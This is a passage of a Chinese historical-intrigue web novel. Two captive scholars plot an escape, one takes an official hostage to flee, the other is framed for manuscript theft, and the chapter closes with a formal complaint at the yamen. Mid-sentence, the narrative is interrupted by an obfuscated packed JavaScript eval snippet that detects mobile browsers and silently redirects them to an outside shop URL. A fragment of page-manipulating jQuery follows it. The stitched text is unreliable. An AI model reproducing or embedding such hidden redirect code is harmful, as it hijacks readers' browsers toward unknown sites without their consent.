四四方方的屋子里静得很,没有窗户,只有一扇木门,闩得牢牢的,门前站着两个大汉,盯着许邬二人。
许昭明捏着毛笔在纸上乱画,线条没来由地在米黄色的纸上游动。
邬禅因一动不动地跪坐在原地,两手放在膝上,眼睛盯着平摊的纸出神。
一炷香过去,许昭明盘坐的腿都麻了,搁下笔,撑着桌子想站起来活动活动。
结果一股力量按的她跌坐在地,她抬头一看,一个大汉冷漠地盯着她。
许昭明揉揉自己的腰和屁股,支起腿,问:“大哥,我站起来走走都不行吗?”
“不行。”大汉声音凛厉,手里的棍子有规律地拍在另一只手的手心,“坐下来写。”
许昭明后仰瘫倒在地。
邬禅因伸手拍拍她的腿,许昭明坐起来,他的食指点在纸张的几个字:“你看看这样写可有什么不妥?”
大汉的棍子挥向邬禅因:“不许交流!”
许昭明一把握住木头棍子:“写文章不交流怎么写出好文章,你一介武夫懂什么?要是房先生问起来我先告你一状!”
大汉悻悻地收回木棍。
许昭明看向纸张上邬禅因指的几个字。
连起来便是:“信在身上吗”
许昭明点点“在”字说:“这段或许可以再改改。”
而后邬禅因拿着纸转回桌前,埋头继续书写。
许昭明又躺回地上,躺了一会儿太无聊,她拿了张纸趴在地上画画,趴了一会儿感觉硌得慌,她又坐起来支起右腿,手肘撑在膝盖上捋毛笔上的毛。
约莫中午时分,屋外响起敲门声,大汉打开木门,饭菜香飘了进来。
许昭明眼巴巴地看着菜放置到桌上,嚯,有鸡肉。
“狗子,你怎么不吃?”许昭明从碗里抬起头,瞧见邬禅因捏着筷子不动作,屋里光不亮堂,许昭明看不清楚,她凑近挪两步,“你怎么了?”
邬禅因一口血从嘴里呕了出来。
许昭明慌的赶紧搁下筷子,举起油灯照亮他的脸。
邬禅因面色惨白,冷汗从额角滑下。
许昭明的手摸上他额头,邬禅因抬眼对视上许昭明。
他的眼睛好似会说话,许昭明神色一凛,心中突然明白了。
邬禅因眼神迷糊起来,一下子倒在地上。
许昭明大声呼喊救人。
大汉也急了,人要是没了他们几个也要没命。
木门打开,两个大汉想让外面的人去找大夫,许昭明立马起身:“等大夫来了人都要没了,你们几个直接抬他去找大夫不就行了,我们又跑不掉。”
四个大汉你看看我,我看看你。
瞧见许昭明也就只是个书生,怎么敌得过他们四人。
许昭明和一个大汉一左一右架着邬禅因往外走,一个大汉去外头找大夫,另两个跟着许昭明身后看着她。
往前厅走的一路上每个门都有人把守。
但跨过八角门,人就少了。
显然这里就是房府的前院了。
许昭明喉间微微发紧,握着邬禅因手臂的手不自觉颤抖,纵然竭力维持神色,眼底仍藏着惶急。
邬禅因微微侧头看向她,无声地说:“跑。”
邬禅因挣脱她的手,身体故意使劲往下坠,在地上咳个不停,伸手装作拿衣襟里的帕子,故意将里头写的文章扫出来。
冷风一吹,纸落得遍地都是。
许昭明见状看向大汉:“干看着干嘛?赶紧捡啊!丢了你们写吗?”
就趁众人低头捡纸时,跪在地上的邬禅因再次看了一眼许昭明,嘴巴动了动,没有出声:“走!”
许昭明直起腰飞快地往侧边道跑,反应过来的两个大汉拔腿追上。
她不敢回头,只得拼命催动双腿,心口狂跳,气息粗重得几乎要冲破胸膛。
身后脚步声越来越多,呵斥声,声声迫近。
她听见前厅的欢声笑语声,心生一计,猛地闯入前厅。
此时前厅的房蔺致正在宴请白芦笙,白芦笙乃是兖州按察副使。
许昭明直冲他而来,从他身后掐住他的的脖子,拿起桌上一个瓷碗使劲敲击桌子,抓着一片锋利碎片抵上白芦笙的脖颈。
“都别动!”
一切都来得太快。
众人没缓过神来的时候许昭明蹭地一下冒出来。
“让开。”
许昭明劫持着白芦笙后退着往外走。
她握着瓷片的手渗出血,滴落在白芦笙的脖子处。
“杀了我,你这辈子可就是亡命徒了。”白芦笙声音很轻,“有什么冤屈可以和我说。”
许昭明不理他。
待到大门处,许昭明步子变快,拉着白芦笙走向闹市,借着密集人群,许昭明迅速逃离众人视野。
白芦笙的随从立马围上来,小厮来福焦急地看着他的脖子:“少爷,这这这……”
这个半天说不出下个词。
白芦笙白他一眼:“这不是我的血。”
其中几个护卫想去追,白芦笙开口:“别去追了。”
他脖颈处一点伤都没有,瓷片的尖端根本就碰到他的皮肉。
伸手摸了摸血,手指摩挲捻了捻,他抬头看向远处朝他走来的房蔺致,侧头对身边守卫低语:“找人去他府里查查。”
守卫点头,迅速离去。
许昭明一直跑一直跑,一步都不敢停下来。
她本以为离开了谢家牢笼,这辈子混得再差也不至于落得再被人穷追不舍的地步,没曾想,不到六年她就再次体会这种狼狈感。
“远山,你,你这是干甚去了?”桥边码头的方?一脸惊讶地看着惊慌失措跑入她家中的许昭明,“出什么事了?”
许昭明喘着气,问:“能不能帮我个忙?”
方?是码头帮的老板,兖州大大小小的货运大部分都会找她家的船来运。
“什么忙?”方?找来布条先给她简单包扎,“我跟你说要人命的事情我做不来啊,我手底下这么多兄弟姐妹,可不能连累他们。”
许昭明从衣服最里层把信拿出来:“想请你帮我把这封信送到京都陆抒怀的手里。”
方?没有伸手去接,她有些犹豫。
许昭明撩袍向她跪下:“我向你保证绝对不是什么杀人越货的事情,它关系到我一朋友的生死存亡,我求你帮我一次。”
方?跟着蹲下来,叹了口气:“行,看在你当年救我的份上,这个忙我帮了,我会亲自去一趟京都,两天送到。”
“可否再快些。”许昭明犹豫开口,“我怕他等不了了。”
方?拿过信:“最快一天,我尽量早一点赶到,我马上收拾出发,你怎么办?”
许昭明面色凝重:“听天由命。”
与此同时,房府里被带回小黑屋的邬禅因在纸上写下了四个字:“听天由命。”
现下就要看老天爷会不会眷顾他们了。
邬禅因故意拖延时间,文章写一半停一半,夜半时分,棍棒就会把他打醒,他被硬扯起来写。
文章在四日后成文,邬禅因将纸张收拾整理,搁下笔,抬头:“写好了。”
他依旧坐在那儿,桌上的火苗渐渐变小,最后燃尽,屋子里一片漆黑。
夜里木门从外面被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842715|211677||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
打开,邬禅因被带去了碧玉斋。
房蔺致坐在上首,手里翻着书稿。
正是邬禅因写的《乾州战和论》。
“你还要装到什么时候?”房蔺致背靠椅子,将稿子随手扔到桌子上,“邬禅因。”
邬禅因也就不装了,伸手将自己脸上的假皮一点一点撕下来。
“呵。”
房蔺致盯着他的脸,手里摩挲着佛珠。
“你跟你父亲真的很像,一样的倔、蠢、执拗。”
邬禅因翻了个白眼,这白眼翻得很有许昭明那味儿:“我的父亲还轮不到你这样下三滥的东西来置喙。”
房蔺致嗤笑一声:“很快,你才会变成那个下三滥的东西。”
“来人!”
随着他一声令下,外头涌进来几个人。
他们按着邬禅因跪下,捏着邬禅因的下颌,硬摁住他将一碗药灌了进去。
挣扎怒吼的邬禅因渐渐失去意识,瘫在地上如濒死的鱼。
房蔺致居高临下地将《宸荟怪谈》的手稿扔在他的脸上。
随后抬脚离开书房。
后来,房蔺致是被吵醒的,他醒来坐起身,捡起身边的一张纸,读了读,这是他写的《宸荟怪谈》,但字迹不是他的。
屋子里只有他一个人。
邬禅因意识到不对劲,他赶紧爬起身,拉门一开。
官差已至。
乌泱泱一群人拿着火把赶至碧玉斋外。
房蔺致旁边的小厮指着他:“就是这个小贼潜入府上偷手稿!
无论邬禅因如何解释,众人更相信眼见为实。
邬禅因被打了三十大板关押在牢狱中。
他偷盗的消息传到京都,朝中掀起轩然大波,其中自是有人在推波助澜。
众多文人上书谏言,言辞犀利,有言官甚至请旨杀邬禅因以示众。
邬家周旋许久难敌众口舌和所谓的“证据”。
摘了假皮的许昭明出门看到了告示,袖子里的手不自觉握紧。
回到码头住处,方?的工人着急忙慌地跟她说:“有人在打听你,说要把这个东西给你。”
许昭明接过盒子,问:“谁在打听我?”
“那人没说自己的名字。”
许昭明满是疑惑。
“那个我得走了,码头上还有活要干。”
“好,谢谢你。”
盒子一开,里头是满满一盒的话本子。
许昭明拿出话本子往屋里走,自言自语:“谁送我话本子啊?”
书搁在桌上,许昭明看看书,看看盒子,她越看这个盒子越觉得不对劲。
盒子里面的木板比盒子外面的底部高出不少。
许昭明高举盒子用力向地上砸。
咣当一声,木板脱落,纸张撒一地。
《宸荟怪谈》四个字映入眼帘。
许昭明双眼瞪大,心口跳的极快,愣了一秒,她迅速蹲下身体把纸张一一捡起塞回盒子里。
她抱着盒子跑到衙门,衙门的登闻鼓被敲响。
白芦笙从书案前抬起头:“谁在击鼓鸣冤?”
他边说边站起身往外走。
圣上下旨令白芦笙受理邬禅因的案子,遂他近日都在?安衙门。
衙门的大门开启,许昭明放下鼓槌,白芦笙的小厮请她进去说话。
白芦笙坐在上首:“堂下何人?”
“小民许昭明。”
许昭明举起手里的盒子,抬眼望去,目光坚定不移。
“小民要状告枯兰书院房蔺致残害书生,连通三方斋盗印邬禅因,国子监邬博士著作《宸荟怪谈》!”